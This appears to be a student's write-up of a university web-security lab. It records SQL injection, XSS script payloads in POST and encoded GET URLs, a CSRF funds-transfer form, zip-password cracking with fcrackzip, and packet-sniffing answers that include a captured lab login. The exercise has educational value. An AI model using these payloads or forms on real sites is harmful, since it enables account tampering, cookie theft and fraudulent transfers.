Fr2md Farid Rajabi Nia

Part 1: SQL Injection Attack

I used fr2md as my ID.
Hidden fields are ssn and grade, I modified my first name.
Ts: Sat, 10 Nov 2018 11:49:35 -0500
Fname: Farid to Navid

TS: Sat, 10 Nov 2018 11:53:27 -0500
for changing my grade

Part 2: Cross-site Scripting (XSS) Attack

TS: Sat, 10 Nov 2018 12:40:57 -0500
Changing the Balance using post
<script>balance=9000000;</script>fr2md

Sat, 10 Nov 2018 13:18:09 -0500
Changing the balance using get
https://libra.cs.virginia.edu/~insecure/xss.php?userid=%3cscript%3e%0abalance%3d100000000%3b%0a%3c%2fscript%3efr2md

display the account number:
Sat, 10 Nov 2018 13:38:19 -0500
<script>alert(accountNumber);</script>

Sat, 10 Nov 2018 13:40:54 -0500
https://libra.cs.virginia.edu/~insecure/xss.php?userid=%3Cscript%3Ealert%28accountNumber%29%3B%3C/script%3Ee%20%3E%3Efr2md

display the account number using cookie:
Sat, 10 Nov 2018 13:25:45 -0500
Via post:
<script>alert(document.cookie);</script>
accountNumber=4812649701; __unam=9efe8e8-1667dacbf65-4ad4243d-42; _ga=GA1.2.751798990.1539815071

Sat, 10 Nov 2018 13:29:24 -0500
Via get:
https://libra.cs.virginia.edu/~insecure/xss.php?userid=%3Cscript%3Ealert%28document.cookie%29%3B%3C/script%3Ee%20%3E%3Efr2md
accountNumber=4812649701; __unam=9efe8e8-1667dacbf65-4ad4243d-42; _ga=GA1.2.751798990.1539815071

Other info except from the account number and balance is unam and ga. I have no idea what they are but they might be secret info you are asking for.

Part 3 Cross-site Request Forgery (CSRF) Attack

Mallory receiving funds
https://libra.cs.virginia.edu/~insecure/csrf.php?amount=200&to=mallory
Sun, 11 Nov 2018 15:44:22 -0500

The token is 123456789

```
<form action="https://libra.cs.virginia.edu/~insecure/csrf.php?token">
  <input type="text" name="amount" value="200"><br>
  <input type="text" name="to" value="mallory"><br>
  <input type="hidden" name="csrf_token"
       value="123456789">
  <input type="submit" value="Submit">
</form>
```

Copy pasted the form in the txt file and changed its extension to html and then opened the file in a browser and clicked submit and voila
Mon, 12 Nov 2018 10:10:45 -0500

Part 4: Packet Sniffing:

Used the pattern fcrackzip –length 6-6 tcpdump.zip to get the password “abcdez”
PASSWORD FOUND!!!! : pw == abcdez

- What websites were visited that encoded the data using gzip? We are looking for the domain names (domain.tld), not the exact URL (foo.bar.baz.domain.tld).

Ebay, Wikipedia, Wikimedia, uva, facebook, cnn, news.google, maps.google,

- What types of files were transferred? This is encoded in the 'Content-Type' header.

text/html;charset=UTF-8 , text/css , image/png, text/javascript

- What network ports were accessed? A network port corresponds to an application-level protocol, such as http and https. This is encoded as gemini.http-alt (here http-alt means an alternative to http) - see the example packet explanation, below. The http-alt port is 8080 -- you can find this out by looking in /etc/services, which maps port names (such as http-alt) to port numbers. We aren't interested in port numbers above 10,000.

8080, 80,

- What is the username(s) and password(s) were used when logging in? Where were they used to log in to? Not surprisingly, all passwords were changed for this file. (There is only one that can be sniffed)

UVA userid=asb2t&password=rhubarb

- Can you determine my ebay password? Why or why not?

No, it is not visible because it is an https and it is encrypted.

- What other network-level and transport-level protocols were used, other than TCP? TCP is used quite frequently (so much so that TCP packets are not labeled as TCP). You can find a listing of the protocols at http://www.wildpackets.com/resources/compendium/tcp_ip/overview.

Network level: IP, ICMP,

Transport level: TCP, UDP